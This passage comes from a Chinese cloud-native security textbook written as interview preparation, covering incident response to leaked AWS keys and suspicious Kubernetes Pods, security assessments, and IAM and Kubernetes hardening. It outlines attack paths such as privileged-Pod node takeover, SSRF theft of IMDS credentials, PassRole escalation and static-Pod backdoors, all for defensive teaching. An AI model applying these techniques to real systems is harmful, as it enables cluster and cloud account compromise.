│ ★ 光禁用 AK,临时凭据【依然有效】! │
│ → 必须用 aws:TokenIssueTime 条件让旧令牌全部失效 │
└────────────────────────────────────────────────────────┘
═══ 2~5 分钟:评估影响 ═══
┌────────────────────────────────────────────────────────┐
│ ④ ★★ 查 CloudTrail:这个 AK 在过去 24 小时做了什么 │
│ aws cloudtrail lookup-events \ │
│ --lookup-attributes \ │
│ AttributeKey=AccessKeyId,AttributeValue=AKIA... │
│ │
│ 重点看(★ 按这个顺序): │
│ a) 有没有【创建】操作? │
│ CreateUser / CreateAccessKey / CreateRole │
│ → ★ 有 = 攻击者已经留了后门,禁用 AK 没用了! │
│ b) 有没有【读取】数据? │
│ GetObject / GetSecretValue / CreateSnapshot │
│ → ★ 有 = 数据可能已经被拖走,要启动数据泄露流程 │
│ c) 有没有【启动资源】? │
│ RunInstances(尤其是大规格 GPU 机型)= 挖矿 │
│ d) 来源 IP 是什么? │
│ ★ 陌生的境外 IP = 确认是被利用了 │
└────────────────────────────────────────────────────────┘
═══ 5~15 分钟:清理与通知 ═══
┌────────────────────────────────────────────────────────┐
│ ⑤ 如果发现了后门(新建的用户/角色/AK): │
│ → ★ 全部删除,并检查这些后门又做了什么(递归排查) │
│ │
│ ⑥ 如果是挖矿: │
│ → 终止那些实例(★ 但先打快照取证!) │
│ │
│ ⑦ ★ 通知相关方: │
│ - 业务负责人(解释为什么会短暂中断) │
│ - 如果涉及数据泄露 → ★ 法务 + 合规(有时限要求!) │
│ ★★ 个保法:发生个人信息泄露要【立即】通知 │
│ - 安全负责人 │
│ │
│ ⑧ ★ 保留证据(★ 不要急着删任何东西) │
│ - 导出 CloudTrail 记录 │
│ - 保存 IAM 快照: │
│ aws iam get-account-authorization-details > snap.json│
└────────────────────────────────────────────────────────┘
★ 后半段(15 分钟之后,但面试要说到)
第一小时:
✓ 轮换所有【可能相关】的凭据
★ 不只是泄露的那个 AK!
同一个用户、同一个应用用的其他凭据也要换
✓ 全账号排查:还有没有其他泄露的密钥
(用 gitleaks / trufflehog 扫所有仓库)
第一天:
✓ 排查横向影响:攻击者有没有接触其他系统
✓ 账单检查:有没有异常消费(挖矿最明显的信号)
第一周(★ 根因修复):
✓ ★★ 消灭长期 AK/SK,改用 IRSA / OIDC / 实例角色
★★ 这是唯一能【根治】这个问题的方法
✓ 上 pre-commit hook(gitleaks)拦截密钥提交
✓ CI 里加密钥扫描
✓ 开启云厂商的泄露检测(AWS 会自动给泄露的 AK 打标签)
✓ 给开发做培训(★ 大部分泄露是无心的)
★ 加分点(体现经验的地方)
"我补充三个容易被忽略的点:
① ★★ 光禁用 AK 是不够的,必须吊销会话
这是很多人(包括有经验的运维)会漏的一步。
攻击者拿到 AK 后第一步通常是 AssumeRole 换长期限的临时凭据。
你禁用了 AK,他手上的临时凭据还能用 12 小时。
② ★ 【不要立刻删仓库里的密钥文件】
很多人的第一反应是"赶紧删掉那个文件"
→ ★ 但 git 历史里还在!删了等于"此地无银三百两",
反而提醒了正在爬仓库的机器人
✅ 正确顺序:
① 先禁用密钥(★ 让泄露的东西失效,这是唯一有效的)
② 再处理仓库(改历史 / 联系 GitHub _SECRET scanning)
③ ★ 密钥已经公开过了,就当它永远泄露了,【必须轮换】
③ ★★ 如果这是个紧急修复,想想"为什么会走到这一步"
是赶工期?是没人做 code review?是没有工具拦截?
★ 每次事故都是一次改进流程的机会。
我们的做法:事故复盘里必须有一项
'下次怎么让这类错误【不可能发生】,而不只是【不再发生】'
→ 比如:消灭长期密钥 = 让这类事故【不可能发生】"
J25(★★★★)场景:凌晨 3 点告警 —— 某 K8s 节点上出现一个可疑 Pod,怎么排查?
★ 这道题考的是“有条理的应急响应流程”,不是考某个具体命令
★ 第一步:先判断“这是不是真的”(前 5 分钟)
★★★ 最重要的一句话:★ 先不要删 Pod!
很多人的第一反应是"赶紧删掉"
→ ★ 错!删掉就毁了所有证据,而且:
- 如果是 DaemonSet,删了会自动重建
- 如果是攻击者部署的,删了会惊动他(他会加速/清理痕迹)
✅ 正确的第一步:【观察 + 记录 + 隔离】,不是删除
① 记录现场(★ 5 分钟内完成,这是最有价值的证据)
kubectl describe pod <pod> -n <ns> -o yaml > /tmp/pod.yaml
kubectl logs <pod> -n <ns> --all-containers > /tmp/pod.log
kubectl get pod <pod> -n <ns> -o jsonpath='{.spec.containers[*].image}'
★ 记录:镜像、启动时间、挂载、SA、环境变量、父资源
② 判断"这是不是合法业务"
★ 问自己三个问题:
a) 这个镜像在我们的镜像仓库里吗?
b) 这个 Pod 在 git(manifest 仓库)里有对应记录吗?
c) 这个命名空间平时会有这种 Pod 吗?
★★ 如果用了 GitOps(ArgoCD),这一步特别快:
kubectl get application -n argocd → 看有没有对应的 Application
★ 没有 = 几乎肯定是攻击者部署的
③ 快速定性(★ 按危险度从高到低判断)
□ 是不是 privileged? → 是 = 高危,可能在做容器逃逸
□ 有没有 hostPath 挂载 /? → 是 = 高危
□ 有没有 hostPID/hostNetwork?→ 是 = 高危
□ 用的什么 SA? → default 或高权限 SA = 高危
□ 镜像来自哪? → 非私有仓库 = 高危
□ 名字像不像系统组件? → nginx-metrics、kube-proxy-xxx、node-agent
★★ 伪装成系统组件 = 典型后门特征
★ 第二步:遏制(不删除的前提下)
① ★ 切断网络(最温和、最有效)
kubectl apply -f - <<EOF
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: isolate-suspect
namespace: <ns>
spec:
podSelector:
matchLabels: <可疑 Pod 的标签>
policyTypes: [Ingress, Egress]
# ★ 空的 = 完全隔离(既不能进也不能出)
EOF
→ ★ 这样攻击者不能外传数据,也不能接收指令,但 Pod 还在(证据保全)
② ★ 吊销它的 SA 权限
- 找出它用的 SA
- 给这个 SA 附加一个 Deny All 的 Role(★ 或者删掉它的 RoleBinding)
→ ★ 即使它在跑,也调不了 K8s API
③ ★★ 如果它已经在做坏事(如正在挖矿、正在外传数据)
→ 优先级改变:止损 > 取证
→ 立即:改云侧安全组 / 断开节点的公网
→ 但依然【保留 Pod】,只是切断它的出口
④ ★ 隔离节点(如果需要)
kubectl cordon <node> # 不再调度新 Pod
# ★ 注意:不要 drain!drain 会驱逐 Pod(包括证据)
★ 第三步:溯源(★ 这是最难也最有价值的部分)
★ 核心问题:他是怎么进来的?
① ★★ 查 K8s 审计日志(★ 第一优先)
找这个 Pod 的创建记录:
- 谁创建的(user / SA / 匿名?)
- 从哪个 IP
- 用的什么 user-agent
★ 三种典型结果:
a) 是某个 SA 创建的
→ 追这个 SA:它被绑了什么权限?哪些 Pod 用它?
→ ★ 然后追"攻击者是怎么拿到这个 SA 的"
b) 是匿名创建的(★ 最糟)
→ ★★ API Server 匿名访问开着 = 集群门户大开
→ 立即关闭 anonymous-auth
c) 是 ArgoCD/CI 创建的
→ ★ 追 git 仓库:谁的 PR?有没有 review?
→ 可能是供应链攻击(见第九章)
② 查"前一跳"(★ 他在这个 Pod 之前在哪)
- 同一个 SA / 同一个 IP / 同一个 user-agent 还做过什么?
- ★ 有没有 exec 进其他 Pod?
kubectl get events -A | grep -i exec
- ★ 有没有读取 Secret?
③ 查宿主机(★ 如果 Pod 是 privileged)
- 节点上有没有异常进程?
- 有没有新增的 SSH key?
- ★ 有没有动过 /etc/kubernetes/manifests/(静态 Pod 后门)?
④ 查云侧
- CloudTrail:有没有异常 API 调用?
- ★ 有没有访问 IMDS(用 VPC Flow Logs 看 169.254.169.254 的记录)
⑤ ★ 时间线(★ 最后一定要画出来)
把上面所有发现按时间排序,画成时间线
→ ★ 只有时间线能回答:"他到底做了什么?影响多大?"
★ 第四步:清理(★ 顺序很重要)
★★★ 正确的清理顺序:
① 【先堵住入口】
→ 如果入口没堵住,你清了 Pod,他 30 秒后再部署一个
② 【清理持久化后门】(★ 这一步最容易被忘,也最关键)
按危险度排序:
a) ★ DaemonSet(会自动在所有节点重建)
b) ★ 静态 Pod(/etc/kubernetes/manifests/ 下的,★ kubectl delete 删不掉!)
c) ClusterRoleBinding(后门权限)
d) CronJob
e) MutatingWebhook(★ 能拦截所有 API 请求)
f) 新建的 SA / Secret
★★ 检查每个节点:
ssh 到节点,检查 /etc/kubernetes/manifests/
★ 这里的静态 Pod 用 kubectl 是删不掉的,必须 ssh 上去删文件
③ 【清理运行时】
→ 删 Pod、删 Deployment
④ ★★ 【轮换所有可能泄露的凭据】
- 该 SA 的 token(删掉对应的 Secret 会重新生成)
- 节点上的 kubelet 证书
- 所有可能被读到的 Secret
- ★ 如果这个 Pod 访问过 IMDS → 节点角色的云凭据可能泄露
⑤ 【修复根因】
→ 关匿名访问 / 收 RBAC / 上 PSA / 上 NetworkPolicy
★ 加分点(★ 说出这三个认知)
"我做 K8s 应急有三条原则:
① ★ 【Pod 不是根,权限才是】
删掉一个恶意 Pod 毫无意义(他 30 秒就能重建)。
★ 关键是他【凭什么】能创建这个 Pod?
→ 找到并堵住那个"凭什么",才是真正的遏制。
② ★★ 【检查持久化,尤其是静态 Pod】
这是 K8s 应急和传统应急最大的区别。
★ /etc/kubernetes/manifests/ 下的 YAML,
kubelet 会自动拉起,kubectl delete 删不掉(会立刻重建)
→ ★ 很多团队"清理干净了",结果第二天又复发,
就是因为这个没查。
③ ★★★ 【如果用了 GitOps,排查会快 10 倍】
直接看这个 Pod 在不在 git 里:
在 → 看 git 记录,谁的 PR(★ 可能是供应链攻击)
不在 → ★ 立刻确认是非法部署,而且 ArgoCD 会自动删掉它
★★ 这是我强烈建议上 GitOps 的原因之一 ——
它不只是"部署工具",更是【安全基线】和【取证依据】。"
J26(★★★)场景:客户要做一次云安全评估,你的方法论和检查清单是什么?
★ 先说方法论(★ 没有方法论直接给清单 = 不专业)
★★★ 我用的是【四阶段 + 三个维度】
四个阶段:
① 资产梳理(★ 不知道自己有什么,就谈不上安全)
② 配置核查(自动化扫描)
③ 攻击路径分析(★ 最有价值的部分,工具做不了)
④ 整改建议(★ 必须分优先级,否则客户不知道从哪下手)
三个维度(每个阶段都要覆盖):
- 身份与权限(IAM)
- 网络与边界
- 数据与资产
★ 阶段 1:资产梳理(1~2 天)
★ 目标:回答"客户到底有什么"
① 有多少个云账号?怎么组织的?
→ ★ 很多公司有多个账号但没人说得清有几个
② 每个账号里有什么资源?
- 计算:多少台机器?多少个 K8s 集群?多少个函数?
- 存储:多少个桶?哪些桶里有敏感数据?
- 数据库:多少个实例?哪些对公网开放?
- 身份:多少个 IAM 用户?多少个角色?多少个 AK?
③ ★★ 哪些是"影子资产"?(★ 最容易出问题)
- 测试环境被遗忘的机器
- 离职员工建的资源
- 三年前 POC 留下的东西
★ 这些往往:没人维护、没打补丁、权限配置随意
★ 输出:一张资产清单 + 标注"重要度"和"暴露面"
★ 阶段 2:配置核查(2~3 天,工具为主)
# ① CSPM 扫描(几百条基线检查)
prowler aws --severity critical high
# 或 Prowler 的 CIS 基线模式
prowler aws --compliance cis_2.0_aws
# ② 权限分析(★ 人工+工具)
cloudsplaining scan --input-file authz.json --output results/
pmapper --account <id> graph create && pmapper --account <id> analysis
# ③ IaC 扫描(如果有 terraform)
checkov -d terraform/ --severity HIGH,CRITICAL
trivy config ./terraform/
# ④ K8s 集群
kube-bench run # CIS 基线
# + 第十章 10.4.8 的那个一键自检脚本
# ⑤ 密钥泄露扫描
gitleaks detect --source . # 扫描代码仓库
trufflehog filesystem . --only-verified
# ⑥ 镜像扫描
trivy image <image> --severity HIGH,CRITICAL
★ 输出:一份"问题清单",每个问题标注:
- 严重度(Critical / High / Medium / Low)
- 影响的资产
- ★ 修复方法(不要只说"有问题",要说"怎么改")
★ 阶段 3:攻击路径分析(★ 这是拉开差距的部分)
★★★ 为什么这一步最重要:
工具能告诉你"这里有 47 个高危问题"
★ 但工具不能告诉你:
"这 47 个问题里,【这 3 个】串起来能让攻击者
从一个外网 Pod 直接拿到你的生产数据库"
★★ 客户真正想知道的是后者。
★ 我的做法(三问法):
第一问:【入口在哪?】
哪些资产暴露在公网上?
- 0.0.0.0/0 的安全组 → 哪些端口?
- 公网 IP 的机器 → 跑了什么服务?有没有已知漏洞?
- 公开的存储桶
- 暴露的 K8s API Server / Dashboard
- 公网可访问的数据库 / Redis / Elasticsearch
- 暴露的 Jupyter / ArgoCD / Kibana
第二问:【假设进了入口,能走到哪?】
★ 这一步要"手动画图":
外网 Pod
→ 它的 SA 有什么权限?
→ 能访问哪些内网服务?(★ K8s 默认全通)
→ 能访问 IMDS 吗?(拿节点角色)
→ 节点角色的云权限有多大?
→ 这个云权限能访问哪些桶/数据库?
→ ★ 能不能创建 IAM 用户(持久化)?
★★ 我通常会真跑一遍(在客户授权的测试环境):
部署一个"模拟被攻陷的 Pod",看能走到哪一步
→ ★ 这比任何理论分析都有说服力
第三问:【有没有检测和阻断?】
这条路上:
- 有没有审计日志?(能发现吗?)
- 有没有告警?(能及时发现吗?)
- 有没有 NetworkPolicy / 授权策略?(能拦住吗?)
★★ 很多客户的答案是"三个都没有" —— 这是最可怕的
★ 输出:2~3 条【完整的攻击路径图】+ 每条的阻断建议
★ 这个交付物对客户的价值最大(能直接说服管理层投钱)
★ 阶段 4:整改建议(★ 必须分优先级)
★★★ 我的排序原则:【先止血,再治本,最后建体系】
P0(本周做,成本 0~1 人日):
★ 标准:能被【自动化工具】直接利用的问题
- 关闭 0.0.0.0/0 的数据库/Redis/管理端口
- 存储桶禁止公开(Block Public Access 四条全开)
- ★ 开启审计日志(CloudTrail + 对象锁保护)
- 强制 IMDSv2 + hop limit = 1
- 所有 IAM 用户开启 MFA
- 删除未使用的 AK、禁用 root 的日常使用
- ★ 开启账单告警
P1(本月做,1~2 人周):
- 收权限(最小权限四步闭环,见 10.2.2)
- 消灭长期 AK/SK,改用 IRSA / OIDC
- K8s:automountServiceAccountToken=false(默认)
- K8s:PSA restricted(先 audit 后 enforce)
- K8s:NetworkPolicy 默认拒绝 Ingress
- IaC 扫描接入 CI(带基线)
- 镜像:禁止 latest、扫描漏洞
P2(本季度,需要项目):
- GitOps(★ 消灭手工改生产 + 自动漂移修复)
- 运行时检测(Falco)
- 不可变备份(对象锁 + 跨账号)
- 服务网格 mTLS + L7 授权
- 建立应急响应预案 + 演练
★★ 给客户的关键提醒(★ 必须说):
"P0 这几项能挡掉【80%】的真实攻击,
而且【几乎不花钱】,只是改配置。
★ 我见过太多公司花几十万买安全产品,
但 0.0.0.0/0 的数据库还开着 —— 本末倒置。"
J27(★★★)场景:公司要从虚拟机迁移到 K8s,安全上要做哪些准备?
★ 这道题考的是“体系化思维”和“落地节奏”
★ 先说一个常见的错误
❌ 错误做法:
先把业务迁上去 → 跑通了 → 再考虑安全
★ 为什么错:
K8s 的安全配置有【路径依赖】:
- PSA 后加 → 一堆 Pod 起不来,要改造
- NetworkPolicy 后加 → 不知道该放行什么,容易漏
- RBAC 后加 → 权限已经给滥了,收不回来
★★ 后加的成本是"一开始就做"的 5~10 倍
★ 迁移前的准备(★ 集群还没建的时候)
① ★ 集群选型:用托管 K8s(EKS / ACK / TKE / GKE)
理由:
- ★ 控制面的安全配置云厂商帮你做了(etcd 加密、API Server 加固)
- 控制面的补丁有人打
★★ 自建 K8s 的安全负担很重,除非有强需求,否则不要自建
② ★ 网络规划(★ 这一步决定了后面 NetworkPolicy 能不能做)
- CNI 必须选【支持 NetworkPolicy】的(★ Flannel 不支持!)
推荐:Cilium(功能最强,有 Hubble 可观测)或 Calico
- 规划好网段(Pod CIDR / Service CIDR / 节点网段)
- ★ 是否要公网 API Server?建议不要(用 VPN / 专线)
③ ★ 镜像仓库规划
- 用私有仓库(云厂商的 ACR/ECR 或 Harbor)
- ★ 规划好镜像命名规范(后面 Kyverno 策略要用)
- 是否要镜像签名(cosign)?★ 建议要
④ ★ 命名空间规划(★ 这是权限和隔离的基础)
建议按【环境 + 业务线】划分:
prod-payment / prod-order / staging-payment / dev-...
★ 不要只分 prod / test(太粗,隔离不了)
★★ 每个命名空间的 PSA 级别要提前定好
(prod = restricted,dev = baseline,kube-system = privileged)
⑤ ★ 身份规划
- 人:接入公司 SSO / OIDC(★ 不要用 kubeconfig 分发)
- 应用:每个应用独立的 ServiceAccount
- 云资源:IRSA / Workload Identity(★ 不用 AK/SK)
★ 迁移中(★ 随着业务上来逐步加固)
第一批业务(★ 拿一个不重要的业务先试):
☑ SA 独立 + automountServiceAccountToken: false
☑ PSA 设为 audit 模式,观察会拦什么
☑ 部署 External Secrets / Vault(Secret 不从 YAML 来)
☑ 镜像扫描接入 CI
第二批(跑通后):
☑ PSA 切 enforce=baseline
☑ NetworkPolicy:每个命名空间默认拒绝 Ingress
☑ ★ 上 Kyverno(公司规范:标签、镜像仓库、资源限制)
☑ ★ 审计日志开启 + 接入 SIEM
第三批(稳定后):
☑ PSA 切 enforce=restricted(★ 需要改造不合规的 Pod)
☑ NetworkPolicy 收 Egress
☑ ★ 上 GitOps(ArgoCD + AppProject 严格限制)
☑ ★ 上 Falco(运行时检测)
☑ 镜像签名验证
★ 迁移后(持续)
☑ 定期跑 kube-bench(CIS 基线)
☑ 定期跑 RBAC 审计(rbac-tool)
☑ ★ 定期跑攻击路径分析(P0 那个思路)
☑ 应急响应预案 + 演练(★ K8s 的应急流程和虚机完全不同,见 J25)
☑ 团队培训(★ K8s 的安全模型和虚机差异很大,开发需要重新学)
★ 三个特别提醒(加分)
① ★★ 【开发团队的认知转变是最难的】
虚机时代:开发不用关心安全(有运维管防火墙、管补丁)
K8s 时代:★ 开发写的 YAML 直接决定了安全 posture
- securityContext 写不写?
- SA 用哪个?
- 资源限制设不设?
★★ 所以:必须培训 + 用工具强制(Kyverno 自动注入默认值)
★ 我的经验:光靠文档没用,必须让"安全的做法"成为"最简单的做法"
② ★ 【不要把虚机的安全习惯带过来】
- ✗ "给个 root 方便调试" → K8s 里 = 容器逃逸的入口
- ✗ "先给管理员权限,后面再收" → K8s 里 = 集群沦陷
- ✗ "日志打全一点方便排查" → K8s 里 = 密钥进日志
- ✗ "内网是安全的" → K8s 里 = 所有 Pod 默认互通
③ ★★★ 【先在测试环境把安全配置跑通,再上生产】
尤其是 PSA 和 NetworkPolicy ——
★ 这两项配错了会导致业务大面积不可用
✅ 必须:测试环境验证 → audit 模式观察 → 再 enforce
10.8.4 追问链(J28 ~ J30)
什么是追问链:面试官会顺着你的回答一直往下问, 直到你答不上来。这里模拟三条最常见的追问链。
J28(★★★★)追问链:云 IAM 十连问
Q1: 云 IAM 比 Linux 权限危险在哪?
A: 四点 —— ① 爆炸半径大(一个 AK = 整个账号)
② 凭据是字符串会流窜(代码/日志/镜像层)
③ 权限是五层叠加,人脑算不清
④ ★ 权限组合会产生提权(1+1 > 2)
Q2: 那怎么判断一个角色到底能干什么?
A: 五层:SCP → 权限边界 → 会话策略 → 身份策略 → 资源策略
★ 默认拒绝、显式 Deny 一票否决
★ 同账号内身份策略与资源策略是【并集】;跨账号是【交集】
工具:IAM Policy Simulator / PMapper / Cloudsplaining
Q3: 最小权限怎么做?
A: 四步闭环 ——
① 看实际用了什么(generate-service-last-accessed-details)
② 用 CloudTrail 生成精确策略
③ ★ 先双策略并行 30 天,确认 0 AccessDenied 再摘旧的
④ 固化到 CI 防止回潮
★ 第 ③ 步是最容易失败的地方(大家都想一步到位,结果事故一次)
Q4: 最小权限有什么困难?
A: 三个现实困难 ——
① 有些服务只有 ReadOnly/FullAccess 两档
→ 应对:用 Resource ARN 精确限制
② 动态资源名写不进策略
→ 应对:用策略变量 ${aws:userid}
③ 业务变化快,权限跟不上就被永久放宽
→ 应对:给策略加"过期时间"标签,到期告警(★ 组织纪律)
Q5: IMDS 是什么?为什么危险?
A: 169.254.169.254,本机才能访问的自助查询台。
★ 危险在于和 SSRF 组合:一个 GET 就能拿到云凭据。
★ AWS/阿里云默认可被简单 SSRF 打到;
GCP/Azure 需要特殊请求头,天然更安全。
Q6: IMDSv2 能 100% 防住 SSRF 吗?
A: ★ 不能。如果攻击者能做完整的带外 SSRF(能发 PUT、
能拿到响应、能设请求头),依然可以。
★ 但它把门槛从"小学生"提高到"博士生"。
★★ 真正的防线是多层:IMDSv2 + hop limit + NetworkPolicy
+ 应用层 SSRF 防护 + 最小权限。
Q7: 什么是混乱代理人?ExternalId 是密钥吗?
A: 有权限的程序搞错了"替谁做事"。
★★ ExternalId 【不是】密钥(会出现在 CloudTrail 里),
它的作用是【区分客户】。
★ 安全的前提:每个客户独立的随机值 + Vendor 按登录客户查表取。
Q8: OIDC 联邦配置的头号错误是什么?
A: ★★ 只写了"信任 GitHub 的 OIDC 提供商",
没写 sub 条件(信任哪个仓库)
→ 攻击者建个公开仓库就能 AssumeRole
✅ 必须加 sub: repo:<owner>/<repo>:<上下文>
★ 建议用 environment 而不是分支名(分支名能改,环境要审批)
Q9: 云上提权和传统提权有什么不同?
A: ★ 传统靠漏洞,云上靠【正常功能的组合】,不需要任何漏洞。
四类:改自己权限 / PassRole 借用 / 其他服务侧身 / 数据访问间接提权。
★ PassRole 是"提权之王"(业务需要 + 危险不明显 + 防护易漏)。
Q10: 怎么检测提权?
A: ★ 工具:PMapper(算提权路径)、Cloudsplaining(报告)、
Prowler(合规)
★ 检测规则(CloudTrail + Athena):
- PassRole 到 Admin 角色(★ 最重要)
- 给自己附加 AdministratorAccess
- 创建 IAM 用户 / AK(持久化信号)
- 修改 Lambda 函数代码/配置
J29(★★★★)追问链:K8s 安全十连问
Q1: K8s 集群默认最大的安全问题是什么?
A: ★★ 网络默认全通(任何 Pod 能访问任何 Pod,跨命名空间也通)
+ 每个 Pod 默认挂载 SA token
+ RBAC 默认允许(没有默认拒绝)
Q2: 攻破 etcd 意味着什么?
A: ★★★ 整个集群的完整沦陷 —— 所有数据(含所有 Secret)都在里面。
防护:客户端证书认证 + 静态加密(KMS)+ 防火墙只允许 apiserver
Q3: 有了 pods: create 权限,能做什么?
A: ★★★ 能创建特权 Pod(hostPID + privileged + hostPath /)
→ chroot /host = 节点 root
→ 节点上有所有 Pod 的 SA token + 节点角色云凭据
→ ★ 集群沦陷 + 可能横移到云账号
Q4: 那怎么防?
A: ★★★ RBAC 防不住!RBAC 只能限制"能不能创建 Pod",
管不了"创建什么样的 Pod"。
★ 唯一有效的是【准入控制器】:PSA / Kyverno / Gatekeeper
★ 这是 K8s 架构上的分工(授权阶段还没解析资源内容)
Q5: Secret 是加密的吗?
A: ★ 不是,只是 base64(1 秒就能解)。
防护四选一:① IRSA(不用密钥)② Vault 动态凭据
③ External Secrets ④ etcd KMS 静态加密
★ 坑:开启加密不会自动加密已有 Secret,必须 replace 一次
Q6: 为什么 default SA 不能绑高权限?
A: ★ 该命名空间里【每一个没指定 SA 的 Pod】都会用它
→ 攻击者跑一个最普通的 Pod 就是集群管理员
Q7: 容器逃逸有哪些手法?
A: 六种 —— 特权容器 / docker.sock / hostPath / 危险 capabilities
/ hostPID+hostNetwork / 内核漏洞
★ 内核漏洞导致的逃逸,配置层面挡不住(只能打补丁或换隔离方案)
Q8: 四种隔离方案怎么选?
A: 普通容器(99% 场景)→ gVisor(不可信代码)→ Kata(多租户/金融)
→ ★ User Namespace(2026 年最值得关注,成本最低)
★ 性价比最高的一条:readOnlyRootFilesystem: true
Q9: NetworkPolicy 有什么坑?
A: ★★★ 头号坑:CNI 可能不支持(Flannel 不支持,而且【静默失效】)
其他:忘放通 DNS、Ingress/Egress 独立、ipBlock 不能选 Pod、
健康检查会被挡、无日志
★★ 落地顺序:先 Ingress 拒绝 → 观察 → 再收 Egress
Q10: 如果只能做五件事,你做哪五件?
A: ① automountServiceAccountToken: false(挡住攻击链第一步)
② PSA = restricted(挡住特权 Pod / 节点接管)
③ NetworkPolicy 默认拒绝 Egress(挡住横移、外联、挖矿)
④ 最小权限 RBAC + 不给 default SA 额外权限(限制爆炸半径)
⑤ 审计日志 + Falco(能查清楚 + 实时告警)
J30(★★★★)追问链:云原生安全建设八连问
Q1: 我们公司刚上云,安全从哪开始?
A: ★ 从【免费的、不花时间的】开始:
① 开启云厂商的安全体检(Security Hub / 云安全中心)
② 开启审计日志(★ 最重要,没日志出事没法查)
③ 存储桶禁止公开(四条 Block Public Access 全开)
④ 关闭 0.0.0.0/0 的数据库/Redis/管理端口
⑤ 所有 IAM 用户开 MFA
⑥ 开启账单告警
★★ 这六项【几乎不花钱】,能挡掉 80% 的真实攻击
Q2: 要不要买商业安全平台(CNAPP)?
A: ★ 小团队(<20 人)不要买:
Prowler + Trivy + Falco + PMapper 开源组合能覆盖 80%,成本 0
★ 中大型 + 有合规要求才考虑,因为:
★★ CNAPP 的真正价值是【跨层关联分析】
("公网暴露的机器上跑着有漏洞的镜像,且它的角色能读生产库")
→ 单点工具做不到这种关联
Q3: 安全扫描报了几百个问题,开发不改,怎么办?
A: ★★ 用【基线机制】先止血:
checkov --create-baseline → CI 只报新问题
→ 保证"不再变坏",存量分期清理
★ 核心心法:第一目标不是"消灭所有问题",而是"不再变坏"
★ 沟通上:只对 CRITICAL/HIGH 设门禁,中低危只警告
Q4: 怎么衡量安全做得好不好?
A: ★ 不要只报"发现了多少问题"(这是虚荣指标)
建议用这几个指标:
① ★ 平均修复时间(MTTR)—— 比数量重要
② ★★ 攻击路径数量(最关键的指标)
"从外网到核心数据,有几条路?每条路上有几道闸?"
③ 覆盖率:多少资产开了审计?多少集群上了 PSA?
④ ★ 检测能力:模拟攻击能不能被发现?(★ 做紫队演练)
Q5: 安全团队和业务团队冲突怎么办?
A: ★ 我的原则:★ 让正确的事更容易做
- 不要写"禁止xxx"的文档,要提供"默认安全"的模板/脚手架
- 用工具自动注入默认值(Kyverno mutate),开发什么都不用做
- ★ 安全门禁要快(秒级),不要让人等
★★ 一个判断标准:
如果业务绕过安全流程比走安全流程更省事,
那一定是【安全流程设计得有问题】,不是业务的问题
Q6: 出了事故,最重要的是什么?
A: ★★ 不是"找出是谁的锅",是【知道发生了什么】
→ 所以第一优先级永远是:★ 有日志吗?日志保住了吗?
★ 云上 IR 三个特殊点:
① 不能拔网线(改安全组 + 吊销权限,保持实例运行)
② 凭据吊销要在 IAM 层(Deny All + 吊销会话)
③ ★ 取证对象是审计日志(主机可能已经没了)
★ 复盘原则:【无责复盘】—— 否则没人敢说真话
Q7: 一个人做安全,怎么落地?
A: ★ 【优先做"杠杆率"高的事】
杠杆率最高(一次投入,长期生效):
① 审计日志 + 对象锁保护(★ 保底,出事能查)
② SCP / 组织级策略(★ 一次性配好,之后自动生效)
③ CI 里的扫描门禁(★ 拦在源头)
④ GitOps(★ 自动漂移修复)
⑤ 培训 + 模板(★ 让开发自己写对)
杠杆率低(要持续投入人力的):
- 人工渗透测试(一年一次就够)
- 人工代码审计(优先做核心模块)
- 人工看告警(★ 能自动响应就自动)
Q8: 未来 2~3 年,云原生安全最大的变化会是什么?
A: ★ 我的判断(三个方向):
① ★★ AI 工作负载会成为新的主战场
现在大部分公司还没意识到:
Jupyter 是公开 RCE、模型文件能 RCE、GPU 隔离很弱
→ ★ 这一块的觉醒会像 2017 年的"容器安全"一样
② ★★ 身份会彻底取代网络成为边界
零信任 + 服务网格 + 短期凭据(SPIFFE/SPIRE)
★ 长期密钥会像"明文传输密码"一样被视为不可接受
③ ★ 供应链安全的自动化(SBOM + 签名 + 策略)
法规(如美国的 EO 14028、中国的关基条例)在推动
→ SBOM 会变成和"测试报告"一样的交付物
★ 但【不变的是】:配置错误依然是第一大原因
→ ★★ 所以基础功(最小权限、审计日志、资产管理)
永远比追新概念重要
10.9 第十章小结
这一章讲的东西,说穿了就一句话:当“服务器”不再是一台你能摸到的机器,“安全”这门手艺就得换一套打法。 前面九章,你学到的思路大多是“找到一台主机 → 找漏洞 → 打进去 → 提权 → 横向”。这套思路在云原生时代 很多环节失效了:你可能没有主机可以登录(Serverless)、没有内网可以横向(微服务)、没有密码可以爆破(身份联邦)。 这一章就是要帮你把脑子里的“攻防地图”重新画一遍。
10.9.1 五条核心认知
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
认知一:云安全的第一性原理是【责任共担】,不是【上云就安全】
生活类比:你把东西搬进商场里的一间铺面。
商场负责:大楼结构、消防、保安巡逻、水管不漏水(= 云厂商负责底层)。
你自己负责:铺面里的货架、收银台、门锁、自己的钱箱(= 你负责云上的配置)。
商场再安全,你把门锁密码贴在门上,照样被偷。
面试话术:"云厂商负责'云的安全',你负责'云里的安全'。
IaaS 你责任最大,SaaS 你责任最小,但【配置错误】永远是双方都没法替你兜底的那一块。"
反直觉点:★ 云厂商拿到了各种"安全合规认证"(等保、SOC2、ISO),
但这些认证管的是【它自己的机房】,不是【你租用的那台虚机上的配置】。
你照样可能因为一条错误的桶策略,把公司数据公开到互联网。
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
认知二:云上的"边界"从【网络】转移到了【身份】
传统时代:防火墙、内网、DMZ,靠"网络隔离"圈出一块安全区。
云原生时代:微服务之间直接内网互调,没有防火墙挡在中间;
服务之间靠【身份(IAM/SA/RBAC)】来认"你是谁、你能干什么"。
结论:★ 在云上,IAM 权限就是新的防火墙。
"谁有权限创建密钥""谁有权限改桶策略",这些配置错了,比网络隔离被绕过更致命。
面试话术:"以前攻击者要打穿防火墙进内网;现在攻击者只要拿到一个权限过大的
访问密钥,就等于直接站在了内网里。"
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
认知三:【配置错误】是云上数据泄露的第一大元凶,不是 0day
数据支撑(记忆要点):几乎所有云厂商的官方报告都指向同一结论——
绝大多数云安全事故的根因是"配置错误 + 权限过大",而不是"被 0day 打穿"。
三类高频配置错误(本章都展开过):
